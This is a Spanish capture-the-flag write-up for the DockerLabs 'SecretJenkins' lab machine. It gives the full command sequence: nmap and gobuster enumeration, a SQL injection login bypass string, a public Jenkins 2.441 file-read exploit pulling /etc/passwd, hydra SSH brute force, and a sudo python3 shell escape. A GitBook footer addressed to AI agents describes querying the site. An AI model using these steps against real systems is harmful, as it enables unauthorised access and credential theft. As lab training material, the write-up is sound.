> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/secretjenkins.md).

# SecretJenkins

## 1. Reconocimiento - Nmap

Se comienza con un escaneo de puertos y versiones sobre la maquina objetivo `172.17.0.2`.

```bash
sudo nmap -sV -p- 172.17.0.2
```

![Nmap](/files/zhN8n3K9u3foNIn4A59G)

**Resultados relevantes:**

| Puerto   | Estado | Servicio | Version              |
| -------- | ------ | -------- | -------------------- |
| 22/tcp   | open   | SSH      | OpenSSH 9.2p1 Debian |
| 8080/tcp | open   | HTTP     | Jetty 10.0.18        |

El puerto `8080` apunta a un servicio web Java, asi que se revisa desde el navegador.

***

## 2. Enumeracion Web - Jenkins

Al acceder al puerto `8080`, se encuentra un panel de login de Jenkins.

```
http://172.17.0.2:8080
```

![Jenkins login](/files/iOXp5QibcuY4wrPM2O3h)

Se prueba un bypass basico con SQL Injection, pero Jenkins no es vulnerable por esta via.

```
' OR 1=1 -- -
```

![SQLi fallida](/files/7NuokLyqNnWrOzYe8zbc)

***

## 3. Fuzzing de Rutas

Se enumeran rutas y archivos con `gobuster`.

```bash
gobuster dir -u http://172.17.0.2:8080 \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -x html,txt,php
```

![Gobuster](/files/Cbdxb4jMdMRoQtzQVhSV)

**Hallazgos relevantes:**

| Recurso       | Codigo | Comentario              |
| ------------- | ------ | ----------------------- |
| `/login`      | 200    | Login de Jenkins        |
| `/robots.txt` | 200    | Archivo publico         |
| `/computer/`  | 302    | Informacion de nodos    |
| `/people/`    | 302    | Usuarios visibles       |
| `/manage/`    | 302    | Panel de administracion |

El archivo `robots.txt` contiene un mensaje curioso, pero no expone rutas utiles.

![robots.txt](/files/MFTPxebyFg1lvfIxeJsI)

***

## 4. Version de Jenkins

Desde rutas accesibles como `/computer/`, se confirma que el servicio es **Jenkins 2.441**.

![Jenkins nodes](/files/wypflaaigCSPusj9IrKw)

Se busca un exploit para esa version.

```bash
searchsploit jenkins 2.441
```

![Searchsploit](/files/A9bhOOpVCFYyrlbFGdaF)

**Exploit encontrado:**

```
Jenkins 2.441 - Local File Inclusion
```

Tambien se revisa `/people/`, donde aparecen usuarios internos de Jenkins.

![People Jenkins](/files/lshtvF5qUFBQgJz0O12w)

***

## 5. Explotacion - Local File Inclusion

Se ejecuta el exploit publico contra Jenkins para leer archivos locales.

```bash
python3 51993.py -u http://172.17.0.2:8080
```

Se solicita el archivo `/etc/passwd`.

```
/etc/passwd
```

![LFI /etc/passwd](/files/jBhnvFVNYN7cqkasYpAN)

En `/etc/passwd` aparecen usuarios con shell valida:

| Usuario      | Home               | Shell       |
| ------------ | ------------------ | ----------- |
| `bobby`      | `/home/bobby`      | `/bin/bash` |
| `pinguinito` | `/home/pinguinito` | `/bin/bash` |

***

## 6. Fuerza Bruta SSH

Con usuarios validos identificados, se prueba fuerza bruta por SSH usando `hydra`.

```bash
hydra -L user.txt -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2
```

![Hydra](/files/qTnZnStJEo3xkDYenM3p)

**Credenciales encontradas:**

| Usuario | Password    |
| ------- | ----------- |
| `bobby` | `chocolate` |

***

## 7. Acceso SSH

Se accede por SSH con las credenciales obtenidas.

```bash
ssh bobby@172.17.0.2
```

![SSH bobby](/files/uJN0c4LOwvdaEf05J0AV)

Acceso conseguido como `bobby`.

***

## 8. Escalada a pinguinito

Se revisan los permisos de `sudo`.

```bash
sudo -l
```

![sudo -l](/files/lCbg7GW6cFbdBDjZijb3)

**Permiso encontrado:**

```
(pinguinito) NOPASSWD: /usr/bin/python3
```

El usuario `bobby` puede ejecutar Python como `pinguinito` sin contrasena. Se abusa de este permiso para lanzar una shell.

```bash
sudo -u pinguinito /usr/bin/python3 -c 'import os; os.execl("/bin/sh", "sh")'
id
```

![Shell pinguinito](/files/6GRdyJiyGCFllUcitNaf)

El resultado confirma el cambio de usuario:

```
uid=1002(pinguinito) gid=1002(pinguinito) groups=1002(pinguinito)
```

***

## Resumen

| Paso | Tecnica         | Resultado                   |
| ---- | --------------- | --------------------------- |
| 1    | Nmap            | SSH 22 y Jenkins en 8080    |
| 2    | Enumeracion web | Login Jenkins identificado  |
| 3    | Gobuster        | Rutas internas descubiertas |
| 4    | Version Jenkins | Jenkins 2.441               |
| 5    | LFI             | Lectura de `/etc/passwd`    |
| 6    | Hydra           | Credenciales de `bobby`     |
| 7    | SSH             | Acceso como `bobby`         |
| 8    | `sudo python3`  | Shell como `pinguinito`     |

***

## Conclusion

La maquina expone Jenkins 2.441, vulnerable a Local File Inclusion. Mediante el LFI se leen usuarios locales desde `/etc/passwd`, se obtiene la contrasena de `bobby` por fuerza bruta SSH y, finalmente, se escala a `pinguinito` abusando de un permiso `sudo` sobre `/usr/bin/python3`.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/dockerlabs/facil/secretjenkins.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
